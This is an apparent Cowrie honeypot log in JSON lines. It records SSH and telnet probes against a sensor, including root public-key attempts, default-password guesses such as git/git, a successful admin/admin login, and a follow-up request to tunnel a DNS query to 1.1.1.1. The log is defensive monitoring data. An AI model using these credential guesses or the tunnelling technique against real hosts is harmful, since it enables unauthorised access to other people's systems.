{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:3b:1c:38:2b:0a:2c:64:60:75:1d:58:db:dd:0d:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCb+wZ1iVCBJpcBRCObXVhj9h0TA2GIYCKelBFzQN0JDL/NIenPwbBwmPpm1QsKEA4ve7wpIcPH6JE+acjmCZj1z5XJUR7tZP3TdEPXku4DgPQvN7hw9W7TLu+LEGQ3p726inYukqLNI95adOZ89THtIiE0NsuIDyU+gIUOxbsgxR3A96oHdfn17cbiScCgG1PAAVDGYKzJnnC/S4jiSliG6QbEjgtTpVnK/6CjsrjCDn9EAFpWwNiGbBZpfgNfJFZiIg5IcaUmUwpzLG4XSnOGhE7b3u1pMqF1puL3Pr+OF789SeuNWr6c7vDegJNe9ZmxwPAwxL/3545SKITKdwshBrAxr/+ujO4YPg8fMH45WCnLZm8FvWv7qnbKwsE+LyqdFNxawi4evyCe+guDCsFjuYgv23xMeZm9bSpRLz54aj77Zd2IAsALGAW/TFrrKBUXyIvWsTpcTCQw0eUirLqnCexCNYwqIVf6oGIaDJk94iGk0omxrrDyoAA3ibWlwlE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.807947Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:d8:a6:6e:d5:30:69:43:83:6d:99:6f:e4:30:a1:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC21JsirS+bqYwbHtQseobYwMAOcQqF4MYYIM9UdeN86HsJdNoHscgf2ypx614s56It3vCCQ8vqROySqgNjbWKISgAnn8Eqpgpdy3JZm962JcUcnMfPmC/zzR8OVRXKKTb6fCn5Gr3+9UwAavF3oolWASsL6ms+ldhJhP+X0wwv779UiSXhZS7iRs2E6TG2alnOzN7Kt55cjDySJfITL90tPwuh3kssLsozNLNw33rF048wqVmaTwxeXjJMkNyEAXPVOSfbjwlDAEgFfbLV1wU9K6VKSpOCuy/ZN+d0VwaKUuOJj2rMQFd2OywNvoecJrjTLYYGhmqugAktFYsN63UB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:d8:a6:6e:d5:30:69:43:83:6d:99:6f:e4:30:a1:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.837736Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:d8:a6:6e:d5:30:69:43:83:6d:99:6f:e4:30:a1:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC21JsirS+bqYwbHtQseobYwMAOcQqF4MYYIM9UdeN86HsJdNoHscgf2ypx614s56It3vCCQ8vqROySqgNjbWKISgAnn8Eqpgpdy3JZm962JcUcnMfPmC/zzR8OVRXKKTb6fCn5Gr3+9UwAavF3oolWASsL6ms+ldhJhP+X0wwv779UiSXhZS7iRs2E6TG2alnOzN7Kt55cjDySJfITL90tPwuh3kssLsozNLNw33rF048wqVmaTwxeXjJMkNyEAXPVOSfbjwlDAEgFfbLV1wU9K6VKSpOCuy/ZN+d0VwaKUuOJj2rMQFd2OywNvoecJrjTLYYGhmqugAktFYsN63UB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.841396Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:b0:ce:47:76:f2:78:a5:59:05:83:6d:bc:5f:5e:e1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFi+8uvlfqXUQm8SoGNgdXh0R748rWqIjQToSg5yWT8C","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 29:b0:ce:47:76:f2:78:a5:59:05:83:6d:bc:5f:5e:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.874895Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:b0:ce:47:76:f2:78:a5:59:05:83:6d:bc:5f:5e:e1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFi+8uvlfqXUQm8SoGNgdXh0R748rWqIjQToSg5yWT8C","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.878680Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:32:13:1d:73:92:77:ee:4c:b0:74:53:d4:6d:db:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1LNek9YNLquYKvKA6yzy9tiHejl40KmT885bp6ReAZnjF8khdCjRFHBH65dnzCmJkYyTQM22JfdLm+Z2uyAss8nZBJ60+q3deucDqLwpvgqeZ8q7D/Ptcc+nJOPNs5HNeevpwEt2SjBpGzhzm8G+7oU8CubOxeGh96SJWfFnfXWEf0dFvyYIGfP3bceAyAbzYZSCllcm2ViZFispTZvE2TtaNHsc8IpI31C9znoW2o2X8a8EJ/BiAoouz9E2U7ufnNzDz4eNj6ym/pR2r5K6oZvp0FIrKEQK4W+n1ggh5xnOCKkNTZj1Uqm+G4FZrfG5s+6s02laYqSMcn3Q4T5lZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:32:13:1d:73:92:77:ee:4c:b0:74:53:d4:6d:db:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.913872Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:32:13:1d:73:92:77:ee:4c:b0:74:53:d4:6d:db:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1LNek9YNLquYKvKA6yzy9tiHejl40KmT885bp6ReAZnjF8khdCjRFHBH65dnzCmJkYyTQM22JfdLm+Z2uyAss8nZBJ60+q3deucDqLwpvgqeZ8q7D/Ptcc+nJOPNs5HNeevpwEt2SjBpGzhzm8G+7oU8CubOxeGh96SJWfFnfXWEf0dFvyYIGfP3bceAyAbzYZSCllcm2ViZFispTZvE2TtaNHsc8IpI31C9znoW2o2X8a8EJ/BiAoouz9E2U7ufnNzDz4eNj6ym/pR2r5K6oZvp0FIrKEQK4W+n1ggh5xnOCKkNTZj1Uqm+G4FZrfG5s+6s02laYqSMcn3Q4T5lZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.917511Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.950455Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45426,"dst_ip":"10.17.0.5","dst_port":22,"session":"049499c33fb2","protocol":"ssh","message":"New connection: 83.168.110.85:45426 (10.17.0.5:22) [session: 049499c33fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.210872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.215206Z","src_ip":"83.168.110.85","session":"049499c33fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.335492Z","src_ip":"83.168.110.85","session":"049499c33fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.703069Z","src_ip":"83.168.110.85","session":"049499c33fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.524638175964355,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.709449Z","src_ip":"152.42.224.71","session":"38922c5151f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42752,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7ec972608fd","protocol":"ssh","message":"New connection: 87.251.64.176:42752 (10.17.0.5:22) [session: d7ec972608fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:53.994380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.000118Z","src_ip":"87.251.64.176","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.097301Z","src_ip":"87.251.64.176","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.388013Z","src_ip":"87.251.64.176","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.492226Z","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.594208Z","src_ip":"87.251.64.176","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.830383Z","src_ip":"87.251.64.176","session":"d7ec972608fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:54.896404Z","src_ip":"83.168.110.85","session":"049499c33fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52404,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ff8d4c543c","protocol":"telnet","message":"New connection: 152.42.224.71:52404 (10.17.0.5:23) [session: 00ff8d4c543c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:58.709944Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":48582,"dst_ip":"10.17.0.5","dst_port":22,"session":"54bf48f45137","protocol":"ssh","message":"New connection: 208.115.214.194:48582 (10.17.0.5:22) [session: 54bf48f45137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.267638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.272662Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.350865Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:74:57:55:0f:fd:94:02:ca:80:fd:3c:54:e2:31:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILES1TG5KgT3ThMxipSDQcFBlxqZDkd6L6GrmF/1CM+5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e0:74:57:55:0f:fd:94:02:ca:80:fd:3c:54:e2:31:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.718404Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:74:57:55:0f:fd:94:02:ca:80:fd:3c:54:e2:31:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILES1TG5KgT3ThMxipSDQcFBlxqZDkd6L6GrmF/1CM+5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.722667Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:63:d3:57:9d:e7:46:41:fd:9f:f4:4b:79:a4:d7:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+ODmA5MwWVqgRJiZj5EvgridHmlsD2JBbNH73CEUibLwogVnKw7rXgzgDpyqy84KvL4U7CwsHnOKq3Yix7Y6pf9x8G3o8GhTBunUZVBAK01v2nWcYVOjHiANu3DWzNwn2dG1V/8mZYe6jZtEifiEuR6M14BeZBosXBABVl49EOpITaTBoECSrtJCJbHcHzJ2kuGNP5pEa10E2sEsY+5jf1VzhuDwuZJZLbUdJWZUBbCdR8QYnOHZJuTxLqySMfBKF/7zsnyfS33U+NmhpVqjscq443YD4d7r6cwl2W9WoJzUznH2jI/55Bink1WVU018mnDl2yEC4sj+t0GKvPYa9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:63:d3:57:9d:e7:46:41:fd:9f:f4:4b:79:a4:d7:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.811733Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:63:d3:57:9d:e7:46:41:fd:9f:f4:4b:79:a4:d7:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+ODmA5MwWVqgRJiZj5EvgridHmlsD2JBbNH73CEUibLwogVnKw7rXgzgDpyqy84KvL4U7CwsHnOKq3Yix7Y6pf9x8G3o8GhTBunUZVBAK01v2nWcYVOjHiANu3DWzNwn2dG1V/8mZYe6jZtEifiEuR6M14BeZBosXBABVl49EOpITaTBoECSrtJCJbHcHzJ2kuGNP5pEa10E2sEsY+5jf1VzhuDwuZJZLbUdJWZUBbCdR8QYnOHZJuTxLqySMfBKF/7zsnyfS33U+NmhpVqjscq443YD4d7r6cwl2W9WoJzUznH2jI/55Bink1WVU018mnDl2yEC4sj+t0GKvPYa9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.816514Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:41:24:0c:e6:a8:69:d1:29:f4:93:81:2a:83:4c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnJPaEtTuOfl+Fpou7cEGAOqi+q2afgYqjxUKxL981kpgRb9vENgPclhnWGtGutCXrs5O7V8RWCc5sc+gK4SgxkonsrLFF3HDjhZ3xfUCiGReoAVm2E0xVPs1HNAFpePI8HdZapuB2/0COCGX42P0fW7+dR1qvFVKgaVxM05rHks=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:41:24:0c:e6:a8:69:d1:29:f4:93:81:2a:83:4c:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.896372Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:41:24:0c:e6:a8:69:d1:29:f4:93:81:2a:83:4c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnJPaEtTuOfl+Fpou7cEGAOqi+q2afgYqjxUKxL981kpgRb9vENgPclhnWGtGutCXrs5O7V8RWCc5sc+gK4SgxkonsrLFF3HDjhZ3xfUCiGReoAVm2E0xVPs1HNAFpePI8HdZapuB2/0COCGX42P0fW7+dR1qvFVKgaVxM05rHks=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.899554Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:99:17:f1:24:47:53:1d:03:93:fd:3d:6d:02:1a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIp9h0xfJIOr0ZAIBLDQrTDWY0jxPgfcl1B4TUGbZAmVBM1AixYV8+cejf51SeOvHCIR8j08FIbJXZMfC/P3JN2QBTT6ueJjPqbubw8WSL8H18psj0038PmToY1DQ332fXE8KCt4jKp8b1mAqvsroPrWj1CHIguEVuQUJqj4GtZ9YW4faeq69quoiDcn7+Rwx8qWiYFcZQTcB+r+upFshZZ9VUQH4lemnkvmaKyy3HMHU0e4qHobqT4rekOigsXvMJgu4t38u7AVHeORrVpyRrLM9FKLsYWppzarCLvi9Vzp7HiISvnSifgyVeShZAZo2mJLmunyUHVPHTAaiBxLyd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:99:17:f1:24:47:53:1d:03:93:fd:3d:6d:02:1a:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.978688Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:99:17:f1:24:47:53:1d:03:93:fd:3d:6d:02:1a:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIp9h0xfJIOr0ZAIBLDQrTDWY0jxPgfcl1B4TUGbZAmVBM1AixYV8+cejf51SeOvHCIR8j08FIbJXZMfC/P3JN2QBTT6ueJjPqbubw8WSL8H18psj0038PmToY1DQ332fXE8KCt4jKp8b1mAqvsroPrWj1CHIguEVuQUJqj4GtZ9YW4faeq69quoiDcn7+Rwx8qWiYFcZQTcB+r+upFshZZ9VUQH4lemnkvmaKyy3HMHU0e4qHobqT4rekOigsXvMJgu4t38u7AVHeORrVpyRrLM9FKLsYWppzarCLvi9Vzp7HiISvnSifgyVeShZAZo2mJLmunyUHVPHTAaiBxLyd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:59.982676Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:82:c1:46:78:e6:ad:6e:ee:1c:c8:e5:56:fc:d0:45","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI0EuSSRp+T4EH1OEkh0tgAEsEcZvHtt2fz+cGDa9a1x0XtCYi17Ij4or0/wSAXzWLi2mNy966v8k8zn2CE/zGdrj7cqim5JJwxNtvy0JJfy5KNghakinDfdd/qmWi0LX23dv97oIiHwQLe86JWtjqAgtjnXocJpEXaZoMPyJm+rAAAAFQDRg6Qu21QSXbaGszO5mw+X3dmZQwAAAIBCP+o/96tkhahzLC2zR3x/K7caVEFLC0KbWJ1dFi5Z4Nk3xY5FIhmGq8tqau7JNveQkmOWr6LRZb/IU97BpHQqxDTXP78OW/D+C1P26dMFrpytm3j0tcWpLbs/RazKrzLRMqxREnN35iur1TAV+OpxbbaT0Qs2VWdFG8zm4yZLYAAAAIACQf6oPgbw/wYI9WbP7HHYRLw1ligq0lFJRIJ81/YLCUnMgRCJn24TH6XktKZqdzAYC2Vu8+LOtMgsXp+L7dsvblx5wRE5n5/a4+Da+5OdtWldmNFmZQh5hTy2LWvNu6oPO4DltRUiXOd1R3GUfIP2sVIfxdwqb6ncAsladKywFQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1e:82:c1:46:78:e6:ad:6e:ee:1c:c8:e5:56:fc:d0:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.070709Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
